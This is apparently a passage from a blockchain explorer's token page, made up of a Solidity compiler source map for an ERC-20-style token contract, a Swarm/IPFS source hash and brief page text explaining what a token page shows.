3::i;:::-;1464:30:::1;1483:10;1464:18;:30::i;:::-;1399:103::o:0;4340:95::-;4387:13;4420:7;4413:14;;;;;:::i;4768:182::-;4837:4;342:10;4893:27;342:10;4910:2;4914:5;4893:9;:27::i;8865:114::-;1089:13;:11;:13::i;:::-;8927:44:::1;8949:1;8953:10;8965:5;8927:13;:44::i;:::-;8865:114:::0;:::o;7055:130::-;7140:37;7149:5;7156:7;7165:5;7172:4;7140:8;:37::i;:::-;7055:130;;;:::o;1225:166::-;1203:6;;-1:-1:-1;;;;;1203:6:0;342:10;1285:23;1281:103;;1332:40;;-1:-1:-1;;;1332:40:0;;342:10;1332:40;;;1257:51:1;1230:18;;1332:40:0;;;;;;;;7644:487;-1:-1:-1;;;;;5065:18:0;;;7744:24;5065:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;-1:-1:-1;;7811:37:0;;7807:317;;7888:5;7869:16;:24;7865:132;;;7921:60;;-1:-1:-1;;;7921:60:0;;-1:-1:-1;;;;;4359:32:1;;7921:60:0;;;4341:51:1;4408:18;;;4401:34;;;4451:18;;;4444:34;;;4314:18;;7921:60:0;4139:345:1;7865:132:0;8040:57;8049:5;8056:7;8084:5;8065:16;:24;8091:5;8040:8;:57::i;:::-;7733:398;7644:487;;;:::o;5563:308::-;-1:-1:-1;;;;;5647:18:0;;5643:88;;5689:30;;-1:-1:-1;;;5689:30:0;;5716:1;5689:30;;;1257:51:1;1230:18;;5689:30:0;1085:229:1;5643:88:0;-1:-1:-1;;;;;5745:16:0;;5741:88;;5785:32;;-1:-1:-1;;;5785:32:0;;5814:1;5785:32;;;1257:51:1;1230:18;;5785:32:0;1085:229:1;5741:88:0;5839:24;5847:4;5853:2;5857:5;5839:7;:24::i;1510:191::-;1603:6;;;-1:-1:-1;;;;;1620:17:0;;;-1:-1:-1;;;;;;1620:17:0;;;;;;;1653:40;;1603:6;;;1620:17;1603:6;;1653:40;;1584:16;;1653:40;1573:128;1510:191;:::o;5879:730::-;-1:-1:-1;;;;;5969:18:0;;5965:369;;6020:5;6004:12;;:21;;;;;;;:::i;:::-;;;;-1:-1:-1;5965:369:0;;-1:-1:-1;5965:369:0;;-1:-1:-1;;;;;6080:15:0;;6058:19;6080:15;;;;;;;;;;;6114:19;;;6110:117;;;6161:50;;-1:-1:-1;;;6161:50:0;;-1:-1:-1;;;;;4359:32:1;;6161:50:0;;;4341:51:1;4408:18;;;4401:34;;;4451:18;;;4444:34;;;4314:18;;6161:50:0;4139:345:1;6110:117:0;-1:-1:-1;;;;;6270:15:0;;:9;:15;;;;;;;;;;6288:19;;;;6270:37;;5965:369;-1:-1:-1;;;;;6350:16:0;;6346:213;;6412:12;:21;;;;;;;6346:213;;;-1:-1:-1;;;;;6510:13:0;;:9;:13;;;;;;;;;;:22;;;;;;6346:213;6591:2;-1:-1:-1;;;;;6576:25:0;6585:4;-1:-1:-1;;;;;6576:25:0;;6595:5;6576:25;;;;1465::1;;1453:2;1438:18;;1319:177;6576:25:0;;;;;;;;5879:730;;;:::o;7193:443::-;-1:-1:-1;;;;;7306:19:0;;7302:91;;7349:32;;-1:-1:-1;;;7349:32:0;;7378:1;7349:32;;;1257:51:1;1230:18;;7349:32:0;1085:229:1;7302:91:0;-1:-1:-1;;;;;7407:21:0;;7403:92;;7452:31;;-1:-1:-1;;;7452:31:0;;7480:1;7452:31;;;1257:51:1;1230:18;;7452:31:0;1085:229:1;7403:92:0;-1:-1:-1;;;;;7505:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;:35;;;7551:78;;;;7602:7;-1:-1:-1;;;;;7586:31:0;7595:5;-1:-1:-1;;;;;7586:31:0;;7611:5;7586:31;;;;1465:25:1;;1453:2;1438:18;;1319:177;7586:31:0;;;;;;;;7193:443;;;;:::o;9248:918::-;9395:9;9373:32;;;;:21;:32;;;;;;;;9369:790;;;9422:30;9436:4;9442:2;9446:5;9422:13;:30::i;9369:790::-;9514:11;;;;9506:36;;;;-1:-1:-1;;;9506:36:0;;4918:2:1;9506:36:0;;;4900:21:1;4957:2;4937:18;;;4930:30;-1:-1:-1;;;4976:18:1;;;4969:42;5028:18;;9506:36:0;4716:336:1;9506:36:0;9577:4;;9557:10;;-1:-1:-1;;;;;9571:10:0;;;9577:4;;9571:10;9570:27;;9592:5;9570:27;;;9585:4;9570:27;9557:40;;9630:1;9616:11;:15;:29;;;;;9644:1;9636:5;:9;9616:29;:47;;;;-1:-1:-1;;;;;;9649:14:0;;;;;;:8;:14;;;;;;;;9616:47;9612:108;;;9684:34;;-1:-1:-1;;;9684:34:0;;5259:2:1;9684:34:0;;;5241:21:1;5298:2;5278:18;;;5271:30;5337:26;5317:18;;;5310:54;5381:18;;9684:34:0;5057:348:1;9612:108:0;9738:5;9734:414;;;9783:13;;9769:11;:27;9765:65;;;9799:29;;-1:-1:-1;;;9799:29:0;;5612:2:1;9799:29:0;;;5594:21:1;5651:2;5631:18;;;5624:30;-1:-1:-1;;;5670:18:1;;;5663:49;5729:18;;9799:29:0;5410:343:1;9765:65:0;9848:30;9862:4;9868:2;9872:5;9848:13;:30::i;9734:414::-;9912:5;9907:241;;9938:30;9952:4;9958:2;9962:5;9938:13;:30::i;9907:241::-;10009:4;;-1:-1:-1;;;;;10001:12:0;;;10009:4;;10001:12;;;;:26;;-1:-1:-1;10023:4:0;;-1:-1:-1;;;;;10017:10:0;;;10023:4;;10017:10;;10001:26;9997:151;;;10048:30;10062:4;10068:2;10072:5;10048:13;:30::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:315;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;878:2;863:18;;;;850:32;;-1:-1:-1;;;573:315:1:o;1501:247::-;1560:6;1613:2;1601:9;1592:7;1588:23;1584:32;1581:52;;;1629:1;1626;1619:12;1581:52;1668:9;1655:23;1687:31;1712:5;1687:31;:::i;:::-;1737:5;1501:247;-1:-1:-1;;;1501:247:1:o;1753:456::-;1830:6;1838;1846;1899:2;1887:9;1878:7;1874:23;1870:32;1867:52;;;1915:1;1912;1905:12;1867:52;1954:9;1941:23;1973:31;1998:5;1973:31;:::i;:::-;2023:5;-1:-1:-1;2080:2:1;2065:18;;2052:32;2093:33;2052:32;2093:33;:::i;:::-;1753:456;;2145:7;;-1:-1:-1;;;2199:2:1;2184:18;;;;2171:32;;1753:456::o;2403:180::-;2462:6;2515:2;2503:9;2494:7;2490:23;2486:32;2483:52;;;2531:1;2528;2521:12;2483:52;-1:-1:-1;2554:23:1;;2403:180;-1:-1:-1;2403:180:1:o;2796:388::-;2864:6;2872;2925:2;2913:9;2904:7;2900:23;2896:32;2893:52;;;2941:1;2938;2931:12;2893:52;2980:9;2967:23;2999:31;3024:5;2999:31;:::i;:::-;3049:5;-1:-1:-1;3106:2:1;3091:18;;3078:32;3119:33;3078:32;3119:33;:::i;:::-;3171:7;3161:17;;;2796:388;;;;;:::o;3189:380::-;3268:1;3264:12;;;;3311;;;3332:61;;3386:4;3378:6;3374:17;3364:27;;3332:61;3439:2;3431:6;3428:14;3408:18;3405:38;3402:161;;3485:10;3480:3;3476:20;3473:1;3466:31;3520:4;3517:1;3510:15;3548:4;3545:1;3538:15;3402:161;;3189:380;;;:::o;3574:251::-;3644:6;3697:2;3685:9;3676:7;3672:23;3668:32;3665:52;;;3713:1;3710;3703:12;3665:52;3745:9;3739:16;3764:31;3789:5;3764:31;:::i;4489:222::-;4554:9;;;4575:10;;;4572:133;;;4627:10;4622:3;4618:20;4615:1;4608:31;4662:4;4659:1;4652:15;4690:4;4687:1;4680:15
Swarm Source
ipfs://a068f0acab4594e41b12bfbb1e885f62bec260487f017042e6524b181af16d39
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.